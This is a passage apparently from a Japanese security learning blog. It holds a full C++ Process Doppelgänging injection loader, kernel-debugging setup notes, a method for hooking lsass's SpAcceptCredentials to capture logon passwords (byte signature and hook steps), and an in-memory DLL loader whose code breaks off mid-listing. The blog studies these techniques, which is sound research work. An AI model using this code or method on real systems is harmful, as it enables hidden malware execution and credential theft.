#include<stdlib.h>
#include<iostream>
#include<Windows.h>
#include "ntos.h"
#pragma comment(lib, "Ntdll.lib")

int main() {

    // init ntdll.dll  func
    HINSTANCE hinstStub = GetModuleHandle(L"ntdll.dll");
    NtCreateTransaction = (LPNTCREATETRANSACTION)GetProcAddress(hinstStub, "NtCreateTransaction");
    NtAllocateVirtualMemory = (LPNTALLOCATEVIRTUALMEMORY)GetProcAddress(hinstStub, "NtAllocateVirtualMemory");
    NtCreateSection = (LPNTCREATESECTION)GetProcAddress(hinstStub, "NtCreateSection");
    NtRollbackTransaction = (LPNTROLLBACKTRANSACTION)GetProcAddress(hinstStub, "NtRollbackTransaction");
    NtClose = (LPNTCLOSE)GetProcAddress(hinstStub, "NtClose");
    NtCreateProcessEx = (LPNTCREATEPROCESSEX)GetProcAddress(hinstStub, "NtCreateProcessEx");
    NtQueryInformationProcess = (LPNTQUERYINFORMATIONPROCESS)GetProcAddress(hinstStub, "NtQueryInformationProcess");
    NtReadVirtualMemory = (LPNTREADVIRTUALMEMORY)GetProcAddress(hinstStub, "NtReadVirtualMemory");
    NtWriteVirtualMemory = (LPNTWRITEVIRTUALMEMORY)GetProcAddress(hinstStub, "NtWriteVirtualMemory");
    NtCreateThreadEx = (LPNTCREATETHREADEX)GetProcAddress(hinstStub, "NtCreateThreadEx");
    NtFreeVirtualMemory = (LPNTFREEVIRTUALMEMORY)GetProcAddress(hinstStub, "NtFreeVirtualMemory");
    RtlCreateProcessParametersEx = (LPRTLCREATEPROCESSPARAMETERSEX)GetProcAddress(hinstStub, "RtlCreateProcessParametersEx");
    RtlDestroyProcessParameters = (LPRTLDESTROYPROCESSPARAMETERS)GetProcAddress(hinstStub, "RtlDestroyProcessParameters");
    RtlImageNtHeader = (LPRTLIMAGENTHEADER)GetProcAddress(hinstStub, "RtlImageNtHeader");
    RtlInitUnicodeString = (LPRTLINITUNICODESTRING)GetProcAddress(hinstStub, "RtlInitUnicodeString");

    // test  
    LPCWSTR lpTargetApp = L".\\test.txt";
    LPCWSTR lpPayloadApp = L".\\popup_HelloWorld.exe";

    HANDLE hTransaction = NULL, hTransactedFile = INVALID_HANDLE_VALUE, hFile = INVALID_HANDLE_VALUE;
    HANDLE hSection = NULL, hProcess = NULL, hThread = NULL;
    LARGE_INTEGER fsz;
    ULONG ReturnLength = 0;
    ULONG_PTR EntryPoint = 0, ImageBase = 0;
    PVOID Buffer = NULL, MemoryPtr = NULL;
    SIZE_T sz = 0;
    PEB* Peb;

    PROCESS_BASIC_INFORMATION pbi;
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters = NULL;

    OBJECT_ATTRIBUTES obja;
    UNICODE_STRING    ustr;

    BYTE temp[0x1000];
    RtlSecureZeroMemory(&temp, sizeof(temp));

    // NTFSトランザクションオブジェクトを作成
    InitializeObjectAttributes(&obja, NULL, 0, NULL, NULL);
    NtCreateTransaction(&hTransaction,
        TRANSACTION_ALL_ACCESS,
        &obja,
        NULL,
        NULL,
        0,
        0,
        0,
        NULL,
        NULL);

    // ターゲットファイルをオープン
    hTransactedFile = CreateFileTransacted(lpTargetApp,
        GENERIC_WRITE | GENERIC_READ,
        0,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL,
        hTransaction,
        NULL,
        NULL);

    // ペイロードファイルの読み込み
    hFile = CreateFile(lpPayloadApp,
        GENERIC_READ,
        0,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL);

    GetFileSizeEx(hFile, &fsz);

    Buffer = NULL;

    sz = (SIZE_T)fsz.LowPart;
    NtAllocateVirtualMemory(NtCurrentProcess(),
        &Buffer,
        0,
        &sz,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE);

    ReadFile(hFile, Buffer, fsz.LowPart, &ReturnLength, NULL);

    CloseHandle(hFile);
    hFile = INVALID_HANDLE_VALUE;

    // ターゲットファイルにペイロードファイルを書き込み
    WriteFile(hTransactedFile, Buffer, fsz.LowPart, &ReturnLength, NULL);

    // ターゲットファイルをSEC_IMAGEで新規セクションとしてメモリ上に作成
    NtCreateSection(&hSection,
        SECTION_ALL_ACCESS,
        NULL,
        0,
        PAGE_READONLY,
        SEC_IMAGE,
        hTransactedFile);

    // トランザクションをロールバック
    NtRollbackTransaction(hTransaction, TRUE);

    NtClose(hTransaction);
    hTransaction = NULL;

    CloseHandle(hTransactedFile);
    hTransactedFile = INVALID_HANDLE_VALUE;

    // 作成したセクションからプロセスを新規作成
    hProcess = NULL;
    NtCreateProcessEx(&hProcess,
        PROCESS_ALL_ACCESS,
        NULL,
        NtCurrentProcess(),
        PS_INHERIT_HANDLES,
        hSection,
        NULL,
        NULL,
        FALSE);

    // PEBからプロセス情報を取得
    NtQueryInformationProcess(hProcess,
        ProcessBasicInformation,
        &pbi,
        sizeof(PROCESS_BASIC_INFORMATION),
        &ReturnLength);

    // ImageBaseAddressを取得
    NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &temp, 0x1000, &sz);
    std::cout << "PebBaseAddress: " << (std::hex) << (ULONGLONG)temp << std::endl;

    // EntryPointを計算
    EntryPoint = (RtlImageNtHeader(Buffer))->OptionalHeader.AddressOfEntryPoint;
    EntryPoint += (ULONG_PTR)((PPEB)temp)->ImageBaseAddress;
    std::cout << "ImageBase: " << (std::hex) << (ULONG_PTR)((PPEB)temp)->ImageBaseAddress << std::endl;
    std::cout << "EntryPoint: " << (std::hex) << EntryPoint << std::endl;

    // プロセスパラメータの調整
    RtlInitUnicodeString(&ustr, lpTargetApp);
    RtlCreateProcessParametersEx(&ProcessParameters,
        &ustr,
        NULL,
        NULL,
        &ustr,
        NULL,
        NULL,
        NULL,
        NULL,
        NULL,
        RTL_USER_PROC_PARAMS_NORMALIZED);
    
    // PEBにプロセスをリンク
    sz = ProcessParameters->EnvironmentSize + ProcessParameters->MaximumLength;
    MemoryPtr = ProcessParameters;

    NtAllocateVirtualMemory(hProcess,
        &MemoryPtr,
        0,
        &sz,
        MEM_RESERVE | MEM_COMMIT,
        PAGE_READWRITE);

    // プロセスパラメータの書き込み
    sz = 0;
    NtWriteVirtualMemory(hProcess,
        ProcessParameters,
        ProcessParameters,
        ProcessParameters->EnvironmentSize + ProcessParameters->MaximumLength,
        &sz);

    Peb = (PEB*)pbi.PebBaseAddress;
    NtWriteVirtualMemory(hProcess,
        &Peb->ProcessParameters,
        &ProcessParameters,
        sizeof(PVOID),
        &sz);

    // EntryPointを開始アドレスに設定して新規スレッドを作成
    hThread = NULL;
    NtCreateThreadEx(&hThread,
        THREAD_ALL_ACCESS,
        NULL,
        hProcess,
        (LPTHREAD_START_ROUTINE)EntryPoint,
        NULL,
        FALSE,
        0,
        0,
        0,
        NULL);


    if (hTransaction)
        NtClose(hTransaction);
    if (hSection)
        NtClose(hSection);
    if (hProcess)
        NtClose(hProcess);
    if (hThread)
        NtClose(hThread);
    if (hTransactedFile != INVALID_HANDLE_VALUE)
        CloseHandle(hTransactedFile);
    if (hFile != INVALID_HANDLE_VALUE)
        CloseHandle(hFile);
    if (Buffer != NULL) {
        sz = 0;
        NtFreeVirtualMemory(NtCurrentProcess(), &Buffer, &sz, MEM_RELEASE);
    }
    if (ProcessParameters) {
        RtlDestroyProcessParameters(ProcessParameters);
    }
}


demo

以下は非実行可能形式ファイルをターゲットとした実験.

ファイルパス等を自前で設定できるため,テキストファイルからPEファイルがオープンしているように見える. メモリ空間をのぞいてみると確かにプログラムが示す位置にMZの2バイトが確認できる.

ただしこれはWindows Defenderをオフにした状態での実験であり,通常は以下のように即座に検知される.

f:id:snoozekvn:20200218185500p:plain

まとめ

本手法は2017年公開当初こそ有用であったが,トランザクションAPIが利用されることは非常にまれなため,現在のAVスキャナーは容易に本手法を検知する.

また悪意あるファイルの最終的な実行の際に,CreateRemoteThreadと同等のNtCreateThreadExを使用している。

AVスキャナーは、リモートスレッドの作成をPsSetCreateThreadNotifyRoutine等を介して監視するため、Doppelgängingを検出可能だ.

本手法は、ファイル署名を避け、ディスクに書き込みをせずに実行可能ファイルをロードできるが,そもそもの目指すところである検知回避という点でもはやアドバンテージはない.

参考

Process Doppelgänging – a new way to impersonate a process | hasherezade's 1001 nights

docs.google.com

docs.microsoft.com

github.com

WinDbg PreviewでVirtualBox上のWindowsホストをカーネルモードデバッグする

WinDbgVirtualBox上のWindowsホストをカーネルモードデバッグする

環境

ホストのバージョンは以下。

PS C:\Users\ry0kvn> systeminfo

OS 名:                  Microsoft Windows 10 Home
OS バージョン:          10.0.18363 N/A ビルド 18363

WinDbg Previewのバージョンは以下。

Debugger client version: 1.0.2001.02001
Debugger engine version: 10.0.19528.1000

VirtualBoxのバージョンは以下。

バージョン 6.0.14 r133895 (Qt5.6.2)

VirtualBox上で動くWindowsホストのバージョンは以下。

PS C:\Users\User> systeminfo

OS Name:                   Microsoft Windows 10 Enterprise Evaluation
OS Version:                10.0.18362 N/A Build 18362

ネットワーク

pingでお互いに疎通確認して問題なければ先へ進む。 Windowsはデフォルトでpingに応答しないのでFirewallを切る必要があるかもしれない。

ターゲットホスト内での準備

ターゲットホスト内で管理者権限のPowerShellを起動し以下を実行する。

BCDEditコマンドでブート構成データ (BCD) を編集する。

# カーネルデバッグの有効化
bcdedit /debug on

# ホストのIP、ターゲットで待ち受けるポートを設定
bcdedit /dbgsettings net hostip:[HOSTIP] port:[PORT]
# key=表示されるのでメモっておくこと

# 設定内容を表示
bcdedit /dbgsettings

ここまでの処理を行ったら次はホスト側での作業に移る。

ホストでの準備

  1. WinDbgを開きファイルからAttach to Kernelを選択。
  2. Netを選択し、ポート番号と先ほどメモしておいたKeyを入力しWinDbgの待ち受けを開始する。

このタイミングでターゲットホストを再起動するとWinDbgに接続が返る。

参考

以上。

メモリパッチによるmsv1_0!SpAcceptCredentialsのフックをやってみる

メモリパッチによるmsv1_0!SpAcceptCredentialsのフックをやってみる

Windowsは対話型のユーザー名/パスワードベースのログオン用に2つの認証パッケージ、すなわちMSV1_0とKerberosを使用する。

後者はよく知られているように、ドメインのログオン用に利用される。 一方ドメインコントローラがネットワーク上で発見できない場合は、 キャッシュされた認証情報を基にMSV1_0パッケージを使用してローカルコンピュータへログオンする。

MSV1_0パッケージはrunasなどの一時的に他ユーザーの権限でコマンドを実行する場合の認証にも使用される。

MSV1_0パッケージの実体はmsv1_0.dllであり、内部に含まれるSpAcceptCredentialsFn関数がローカルセキュリティ機関(LSA)を呼び出すことで認証を行う。

今回は以下のサイトを参考に、DLLインジェクションによるメモリパッチを行うことで、msv1_0.dll内のSpAcceptCredentials関数をフックし認証情報を取得してみる。

ired.team

カーネルモードでのデバッグ

まずはmsv1_0.dll内のSpAcceptCredentialsFn関数を発見する。 この関数はエクスポートもインポートもされない、DLL内のみで使用されるラッパー関数である。 ユーザーが入力した認証情報はまずこの関数に渡され、さらに Lsassの関数を使用するなどしてハッシュ化した認証情報の比較を行う。

LsassはWindowsの認証の根幹を成すシステムプロセスであり、その実態はlsass.exeである。 lsass.exeプロセスへ通常プロセスのようにアタッチするとシステムがクラッシュまたはフリーズする。 したがって、解析にはカーネルモードでのデバッグが必要になる。

今回はユーザーモードおよびカーネルモードの両方に対応したGUIベースのデバッガーであるWinDbg Previewを使用する。

WinDbg Previewを使ったカーネルデバッグに必要な準備は以下の記事を参考にしてほしい。

snoozy.hatenablog.com

lsass.exeの解析

カーネルデバッグの準備が済めばいよいよlsass.exeプロセスの解析を開始する。

まずは全プロセスからlsass.exeプロセスのEPROCESS構造体を見つける。

f:id:snoozekvn:20200202030851p:plain

見つけたlsass.exeプロセスのEPROCESS構造体の値を元に、lsass.exeプロセスのコンテキストにスイッチする。

f:id:snoozekvn:20200202030855p:plain

ロードされているモジュールのリストを表示してみる。

f:id:snoozekvn:20200202030859p:plain

msv1_0.dllが表示されない。

!pebでプロセスが読み込んでいるモジュールの一覧を表示する。 この中にはmsv1_0.dllが存在し、正しく読み込まれていることがわかる。 f:id:snoozekvn:20200202030902p:plain

シンボル情報のリロードを行って正しく読み込まれるかやってみる。

f:id:snoozekvn:20200202030906p:plain

読み込まれたようだ。

次に問題の関数へブレークポイントを設定する。

f:id:snoozekvn:20200202030910p:plain

最後にターゲットホストでrunasコマンドなどの認証が必要な処理を呼び出す。

以下の画像はターゲットホスト上のPowerShellでrunasコマンド発行しようとしている瞬間の画像である。 認証情報を入力しエンターを押したところでブレークポイントに到達し停止している。

f:id:snoozekvn:20200202030913p:plain

SpAcceptCredentials関数のインターフェースは以下のようになっており、第2引数に渡されるPSECPKG_PRIMARY_CRED構造体に認証情報が格納される。

SpAcceptCredentialsFn Spacceptcredentialsfn;

NTSTATUS Spacceptcredentialsfn(
  SECURITY_LOGON_TYPE LogonType,
  PUNICODE_STRING AccountName,
  PSECPKG_PRIMARY_CRED PrimaryCredentials,
  PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials
)
{...}
typedef struct _SECPKG_PRIMARY_CRED {
    LUID LogonId;
    UNICODE_STRING DownlevelName;   // Sam Account Name
    UNICODE_STRING DomainName;      // Netbios domain name where account is located
    UNICODE_STRING Password;
    UNICODE_STRING OldPassword;
    PSID UserSid;
    ULONG Flags;
    UNICODE_STRING DnsDomainName;   // DNS domain name where account is located (if known)
    UNICODE_STRING Upn;             // UPN of account (if known)

    UNICODE_STRING LogonServer;
    UNICODE_STRING Spare1;
    UNICODE_STRING Spare2;
    UNICODE_STRING Spare3;
    UNICODE_STRING Spare4;
} SECPKG_PRIMARY_CRED, *PSECPKG_PRIMARY_CRED;

デバッガで中を表示した様子が以下。 引数に渡されている文字列を参照すると確かにこの関数に認証情報が渡されていることが確認できる。

f:id:snoozekvn:20200202054928p:plain

以上のことからこの関数をフックしてその引数をインターセプトしてやれば認証情報を取得できることがわかる。

以降からこの関数をフックするプログラムを開発する。

フックコードの開発

これからSpAcceptCredentialsをフックし、認証情報をリークさせるDLLを開発する。

CreateProcessやLoadlibraryなどのように、DLLからエクスポートされている関数をフックする場合その関数へのアドレスは関数ポインタなどを利用することによって簡単に求められる。

しかし今回フックするSpAcceptCredentialsはmsv1_0.dllからエクスポートされていないため、関数ポインタ利用によるアドレスの取得はできない。 このような場合、メモリ領域を探索しそのアドレスを求める必要がある。

まず特徴点となるSpAcceptCredentialsの機械語を調査する。 実際には、これからやりたいことを既に実現してるMimikatzのコードを参考に以下の機械語を特徴点として選択した。

f:id:snoozekvn:20200202030949p:plain

4883ec20498bd9498bf88bf148

WinDBGの出力では以下の部分がこの機械語に該当する。

f:id:snoozekvn:20200202030916p:plain

したがってmsv1_0.dllがロードされているイメージ領域内を上の値で探索すればSpAcceptCredentialsへのアドレスが求められる。

ちなみにIDAやGhidraを使ってSpAcceptCredentialsの特徴点となる機械語で検索をかけ、デコンパイルするとSpAcceptCredentialsの内部構造がわかりやすい。 以下の画像が実際にデコンパイルを行い、調整を加えたSpAcceptCredentialsである。

f:id:snoozekvn:20200202030940p:plain

まとめると、SpAcceptCredentialsをフックするには以下のような手順を踏めばよい

  1. SpAcceptCredentialsをインポートするmsv1_0.dllのハンドルを取得
  2. ハンドルからmsv1_0.dllのイメージ領域とそのサイズを取得
  3. イメージ領域内をSpAcceptCredentialsの特徴点となる機械語で探索
  4. SpAcceptCredentials内の数バイトを認証情報をリークさせる関数へとジャンプする機械語へ書き換える
  5. 認証情報をリークさせる関数の最後で、正規のSpAcceptCredentialsを呼び出させる

以上の手順でフックは完了だ。

デモ

まとめ

コードは参考サイトからみつけることができる。 通常のフックとは違い、内部関数のリバーシング、バイトパターンでの仮想メモリの探索など勉強になった。

参考サイト

blog.xpnsec.com

docs.microsoft.com

github.com

メモリからDLLを読み込んでみる

メモリからDLLを読み込んでみる

DLL(dynamic link library)は通常、Windows APIのLoadlibraryやLoadlibraryEXを使ってディスク上から読み込んで使用する。 このLoadLibraryやLoadLibraryExは、ファイルシステム上のファイルでのみ機能し直接メモリからDLLをロードすることはできない。またこれを端的に実現できる公式のWindows APIも存在しない。 メモリからDLLを読み込むには疑似的なPEローダーを実装する必要がある。

ゲームやマルウェアの開発者は、解析難度の向上やアンチウイルスソフトによる検出回避を狙ってしばしばこういった手法をとることがある。 この記事では、メモリからDLLを読み込むために必要なPEファイルの構造について簡易に解説した後、以下のリポジトリを参考に実際にメモリからDLLを読み込ませてみる。

github.com

本記事がPEファイルフォーマットの理解と、それを利用した各種テクニックへの理解につながれば幸いだ。

ディスク上からの読み込み

ディスクからのDLL読み込みには、LoadLibraryを使用する。 LoadLibraryを発行すると、Windowsは大まかに次のような処理を行う。

  1. 指定されたファイルを開き、DOSおよびPEヘッダーを確認する。
  2. 対象ファイル内のPEHeader.OptionalHeader.ImageBaseに指定されたアドレスに、PEHeader.OptionalHeader.SizeOfImageで指定されたバイト分メモリを確保する。
  3. セクションヘッダーを解析し、IMAGE_SECTION_HEADER構造体のVirtualAddressに基づき、確保したメモリブロックに各セクションをコピーする。
  4. ImageBaseと異なるメモリブロックが確保された場合、コードやデータセクションの種々の依存関係を調整する。(ベース再配置)
  5. ライブラリに必要なインポートを、対応するライブラリをロードして解決する。(IATの解決)
  6. フラグDLL_PROCESS_ATTACHを使用してDLLのエントリポイント(AddressOfEntryPoint)を呼び出す。

LoadLibraryなどは上のような処理を経て、ディスク上に作成されたDLLを実行可能な形に調整しながらメモリ上に読み込む。

この記事では簡便のために、ディスク上のDLLファイルをメモリ上に読み込んだ後、実行可能な形にメモリ上で再配置し、実際に動作させてみる。

DLLの準備

アタッチするとメッセージボックスがポップアップする簡単なDLLを用意する。

#include<Windows.h>
#pragma comment(lib, "user32")


BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        MessageBoxW(NULL, L"Hello?", L"Title", MB_OK);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

DLLファイルの読み込み

次に、このDLLファイルをメモリから読み込むプログラムを準備する。 まずはディスク上のDLLをオープンし、メモリ上に配置する。

 HANDLE dll = CreateFileA("[PATH]\\TestDLL.dll", GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL);
    DWORD64 dllSize = GetFileSize(dll, NULL);
    LPVOID dllBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dllSize);
    ReadFile(dll, dllBytes, dllSize, NULL, NULL);

これだけではDLLをファイルとして読み込んだにすぎない。 動作させるにはローダーが行う処理をエミュレートする必要がある。 以降その処理を解説をする。

セクションのコピー

まず先んじてメモリ上にセクションのコピーを行う。NumberOfSectionsだけセクションをメモリ上にコピーする。 イメージファイルがロードされたアドレスにVirtualAddressを加算したアドレスへSizeOfRawData分セクション用の領域を確保する。

 // セクションのロード
    /////////////////////////////////////////
    PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
    for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
    {
        LPVOID sectionDestination = (LPVOID)((DWORD_PTR)section->VirtualAddress + (DWORD_PTR)dllBase);
        LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes + (DWORD_PTR)section->PointerToRawData);
        WriteProcessMemory(GetCurrentProcess(), sectionDestination, sectionBytes, section->SizeOfRawData, NULL);
        section++;
    }
    /////////////////////////////////////////

PE内のセクションと実際にメモリ上にロードされたセクションの関係は以下の図が分かりやすい

https://i.stack.imgur.com/uYGIu.png

出典:tools - Any way to represent the file-memory relation in a Portable Executable (PE) file? - Reverse Engineering Stack Exchange

イメージベースの再配置

リンカ―によってPEファイル内に解決されたIamgeBaseと、ローダーによって実際にロードされるImageBaseが異なることがある。 リンカ―はPEファイル内のIamgeBaseに沿って各種の依存関係を解決している。 もしローダーがこのImageBaseと異なるアドレスへのロードを選択した場合、ローダーによってアドレスの依存関係の修正が行われる。 この処理をベース再配置と呼ぶ。

以前記事にしたProcess Hollowingでも同様の解説を行っているがここで改めて触れておく。

NtUnmapViewOfSecitonによるProcess Hollowingをやってみる - Snoozy

まずリンカ―によってPEファイル内に指定されたIamgeBaseと、ローダーによって実際にロードされるImageBaseの差Deltaを求める。 この差が0でない場合、ベース再配置が必要で、.relocセクションに格納されている再配置テーブルに基いて修正を開始する。

.relocセクションに格納されている再配置テーブルはベース再配置が必要なアドレスのリストである。 各アドレス値を取得し、Deltaだけアドレスを加算する。この値でテーブルを上書きしていくことでベース再配置が完了する。

 // ベース再配置
    /////////////////////////////////////////
    IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
    DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dllBase;
    DWORD relocationsProcessed = 0;
    
    // Deltaを求める
    DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase;

    while (relocationsProcessed < relocations.Size)
    {
        PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed);
        relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK);
        DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
        PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed);

        for (DWORD i = 0; i < relocationsCount; i++)
        {
            relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY);

            if (relocationEntries[i].Type == 0)
            {
                continue;
            }

            DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset;
            DWORD_PTR addressToPatch = 0;
            ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL);
            addressToPatch += deltaImageBase;
            WriteProcessMemory(GetCurrentProcess(), (PVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL);
        }
    }
    /////////////////////////////////////////

IATの解決

IAT(Import Address Table)はインポートするAPIのエントリーポイントのリストである。 DLLはこのIATを参照しつつAPIを呼び出すことになる。 たとえば今回のようにメッセージボックスをポップアップさせるDLLであれば、User32.dllからエクスポートされるMessageBox関連のAPIを使用する。正常に動作させるためには事前にDLLをメモリ上にロードし、エクスポートされるAPIのアドレスをIATに解決しておかなければならない。

IATの走査手順をまとめておく。

  1. まずインポートが必要なDLL分ループを回す。 インポート情報はIMAGE_IMPORT_DESCRIPTOR構造体の配列で表される。 リンクが必要なDLLの数+1だけ、IMPORT_IMAGE_DESCRIPTOR構造体が連なる。 最後の1つはすべてNULLであり終端の識別に使用する。

  2. インポートが必要なDLLが存在する場合はLoadlibraryを使って実際にDLLをメモリにロードする。 IMAGE_IMPORT_DESCRIPTOR構造体のメンバFirstThunkはIMAGE_THUNK_DATA構造体へのRVAである。IMAGE_THUNK_DATA構造体がIAT及びINTとして使われる構造体で、この構造体にインポートしたいAPIの名前または実際のメモリ上のアドレスが格納される。

  3. APIが名前でインポートされているか序数でインポートされているかで処理を分岐させる。これを取得するためにIMAGE_SNAP_BY_ORDINALというマクロを使い、Ordinal の最上位ビットが立っているかどうかで判別する。 また、最上位ビットをマスクして序数値を取得するために、IMAGE_ORDINAL というマクロがありこれを利用する。 序数によるインポートである場合はGetProcAddressに序数を、API名によるインポートである場合はAPI名を引数に渡すことで、メモリにロードしたDLLからエクスポートされる各APIへのエントリーポインタへのアドレスを取得する。

 // IATの解決
    /////////////////////////////////////////
    IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
    PIMAGE_IMPORT_DESCRIPTOR importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase);
    LPCSTR libraryName = "";
    HMODULE library = NULL;

    // インポートが必要なDLL分ループ
    while (importDescriptor->Name != NULL)
    {
        // DLL名をもとにメモリにモジュールをロード
        libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase;
        library = LoadLibraryA(libraryName);

        if (library)
        {
            // PIMAGE_THUNK_DATA構造体、すなわちIATへのポインタを取得
            PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)(importDescriptor->FirstThunk + (DWORD_PTR)dllBase);

            // インポートするAPI分ループ
            while (thunk->u1.AddressOfData != NULL)
            {
                // 序数に基づいてインポート
                if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))
                {
                    LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
                    thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal);
                }
                else
                {
                    // API名に基づいてインポート
                    PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)(thunk->u1.AddressOfData + (DWORD_PTR)dllBase);
                    DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name);
                    //printf("IAT Resolving 0x%p -> 0x%p\n", thunk->u1.Function + (DWORD_PTR)dllBase ,functionAddress);
                    thunk->u1.Function = functionAddress;
                }
                ++thunk;
            }
        }

        importDescriptor++;
    }
    /////////////////////////////////////////

IATがどう遷移するかは以下の画像がわかりやすい。

DLLがディスク上にある状態ではIAT、INTともに同じ構造体を指す。 https://tech-zealots.com/wp-content/uploads/2019/08/Imports_on_Disk.png

DLLのIATが解決されると、IATは実際のアドレスが格納されたIMAGE_THUNK_DATA構造体を指すようになる。

https://tech-zealots.com/wp-content/uploads/2019/08/Imports_in_Memory.png

出典:Exciting Journey Towards Import Address Table (IAT) of an Executable

DLLの実行

以上でDLLを実行可能にするために必要な最低限の処理は済んだ。 最後にDLLの実行だ。 ファイル内のAddressOfEntryPointが実行開始アドレスであるため、DLL_PROCESS_ATTACHフラグを付与して関数ポインタとして実行すればよい。

 // ロードしたDLLの実行
    /////////////////////////////////////////
    DLLEntry DllEntry = (DLLEntry)(ntHeaders->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)dllBase);
    (*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0);
    /////////////////////////////////////////

コード

以下が完成したコード。

#include <Windows.h>
#include<stdio.h>
typedef struct BASE_RELOCATION_BLOCK {
    DWORD PageAddress;
    DWORD BlockSize;
} BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK;

typedef struct BASE_RELOCATION_ENTRY {
    USHORT Offset : 12;
    USHORT Type : 4;
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;

using DLLEntry = BOOL(WINAPI*)(HINSTANCE dll, DWORD reason, LPVOID reserved);

int main()
{

    // DLLファイルのロード
    HANDLE hdll = CreateFileA("[PATHTODLL]\\TestDLL.dll", GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL);
    DWORD64 dllSize = GetFileSize(hdll, NULL);
    LPVOID dllBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dllSize);
    ReadFile(hdll, dllBytes, dllSize, NULL, NULL);

    // NTヘッダーのロード
    PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBytes;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBytes + dosHeaders->e_lfanew);
    SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage;

    LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(GetCurrentProcess(), dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders, NULL);
    
    // セクションのロード
    /////////////////////////////////////////
    PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
    for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
    {
        LPVOID sectionDestination = (LPVOID)((DWORD_PTR)section->VirtualAddress + (DWORD_PTR)dllBase);
        LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes + (DWORD_PTR)section->PointerToRawData);
        WriteProcessMemory(GetCurrentProcess(), sectionDestination, sectionBytes, section->SizeOfRawData, NULL);
        section++;
    }
    /////////////////////////////////////////

    // ベース再配置
    /////////////////////////////////////////
    IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
    DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dllBase;
    DWORD relocationsProcessed = 0;
    
    // Deltaを求める
    DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase;

    while (relocationsProcessed < relocations.Size)
    {
        PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed);
        relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK);
        DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
        PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed);

        for (DWORD i = 0; i < relocationsCount; i++)
        {
            relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY);

            if (relocationEntries[i].Type == 0)
            {
                continue;
            }

            DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset;
